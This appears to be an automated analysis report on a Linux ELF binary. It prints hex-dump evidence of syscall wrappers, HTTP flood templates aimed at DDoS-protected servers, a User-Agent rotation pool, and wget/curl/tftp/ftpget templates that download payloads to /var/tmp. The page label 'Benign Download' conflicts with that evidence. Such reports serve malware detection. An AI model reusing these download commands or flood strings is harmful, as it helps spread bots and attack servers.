Benign Download

5931c9a2ffe1a8fb7acf99f1f9e32ed6c96d937fd3ef8ba837f4f3996adfa58c.elf

Motorola 68000 Linux socketcall syscall wrapperNative browser User-Agent rotation pool

SHA-2565931c9a2ffe1a8fb7acf99f1f9e32ed6c96d937fd3ef8ba837f4f3996adfa58c

Evidence

ARM supervisor-call syscall instruction 0x80ae–0x816e

⋯3 more rows
0x80de0008226e000c262e001024092208203c.."n..&...$.". <
0x80ee000000ef4e402d40fff8202efff87282....N@-@.. ...r.
0x80feb280641a202efff844802d40fffc61ff..d. [email protected].
⋯7 more rows

Motorola 68000 Linux socketcall syscall wrapper 0xf584–0xf684

⋯3 more rows
0xf5b4448020798001c038208070ff4ed14e75D. y...8 .p.N.Nu
0xf5c44e56fff82f02206e000c226e00082408NV../. n.."n..$.
0xf5d4220970664e402d40fff8202efff87282".pfN@-@.. ...r.
0xf5e4b280641a202efff844802d40fffc61ff..d. [email protected].
0xf5f4ffff971820aefffc72ff2d41fff8202e.... ...r.-A.. .
0xf604fff8242efff44e5e4e754e754e56fff8..$...N^NuNuNV..
0xf614222e000870014e402d40fff8202efff8"...p.N@-@.. ...
⋯7 more rows

nginx web server name 0x1455c–0x1484c

⋯3 more rows
0x1458c000061fffffebb184e5e4e7547455400..a.....N^NuGET.
0x1459c20485454502f312e310d0a557365722d HTTP/1.1..User-
0x145ac4167656e743a20000d0a486f73743a20Agent: ...Host: 
⋯7 more rows
0x1462c2d4c616e67756167653a20656e2d5553-Language: en-US
0x1463c2c656e3b713d302e3500436f6e74656e,en;q=0.5.Conten
0x1464c742d547970653a206170706c69636174t-Type: applicat
0x1465c696f6e2f782d7777772d666f726d2d75ion/x-www-form-u
0x1466c726c656e636f64656400436f6e74656erlencoded.Conten
0x1467c742d4c656e6774683a20003b20000d0at-Length: .; ...
0x1468c0d0a005365727665723a20636c6f7564...Server: cloud
0x1469c666c6172652d6e67696e780053657276flare-nginx.Serv
0x146ac65723a20444f5361727265737400436fer: DOSarrest.Co
⋯6 more rows
0x1471c504f5354007365745f636f6f6b696500POST.set_cookie.
0x1472c27004d6f7a696c6c612f352e30202858'.Mozilla/5.0 (X
0x1473c31313b204c696e7578207838365f363411; Linux x86_64
0x1474c29204170706c655765624b69742f3533) AppleWebKit/53
0x1475c372e333620284b48544d4c2c206c696b7.36 (KHTML, lik
0x1476c65204765636b6f29205562756e747520e Gecko) Ubuntu 
0x1477c4368726f6d69756d2f33372e302e3230Chromium/37.0.20
0x1478c36322e3934204368726f6d652f33372e62.94 Chrome/37.
0x1479c302e323036322e3934205361666172690.2062.94 Safari
0x147ac2f3533372e3336004d6f7a696c6c612f/537.36.Mozilla/
0x147bc352e30202857696e646f7773204e54205.0 (Windows NT 
0x147cc362e313b20574f57363429204170706c6.1; WOW64) Appl
0x147dc655765624b69742f3533372e33362028eWebKit/537.36 (
0x147ec4b48544d4c2c206c696b65204765636bKHTML, like Geck
0x147fc6f29204368726f6d652f34352e302e32o) Chrome/45.0.2
0x1480c3435342e3835205361666172692f3533454.85 Safari/53
0x1481c372e3336004d6f7a696c6c612f352e307.36.Mozilla/5.0
0x1482c202857696e646f7773204e5420362e31 (Windows NT 6.1
0x1483c3b20574f5736343b2054726964656e74; WOW64; Trident
0x1484c2f372e303b2072763a31312e3029206c/7.0; rv:11.0) l

Native browser User-Agent rotation pool 0x14b4f–0x14c3f

⋯3 more rows
0x14b7f312e3029206c696b65204765636b6f001.0) like Gecko.
0x14b8f4d6f7a696c6c612f352e30202857696eMozilla/5.0 (Win
0x14b9f646f7773204e5420362e312920417070dows NT 6.1) App
0x14baf6c655765624b69742f3533372e333620leWebKit/537.36 
0x14bbf284b48544d4c2c206c696b6520476563(KHTML, like Gec
0x14bcf6b6f29204368726f6d652f34352e302eko) Chrome/45.0.
⋯7 more rows

TFTP command invocation 0x1653a–0x1664a

⋯3 more rows
0x1656a002f7661722f746d702f002573257300./var/tmp/.%s%s.
0x1657a7767657420687474703a2f2f25732f25wget http://%s/%
0x1658a732f2573202d4f202573006375726c20s/%s -O %s.curl 
0x1659a2d6f20257320687474703a2f2f25732f-o %s http://%s/
0x165aa25732f25730074667470202573202d63%s/%s.tftp %s -c
0x165ba20676574202573202573006364202573 get %s %s.cd %s
0x165ca2026262074667470202d67202d722025 && tftp -g -r %
0x165da7320257300667470676574202d76202ds %s.ftpget -v -
⋯7 more rows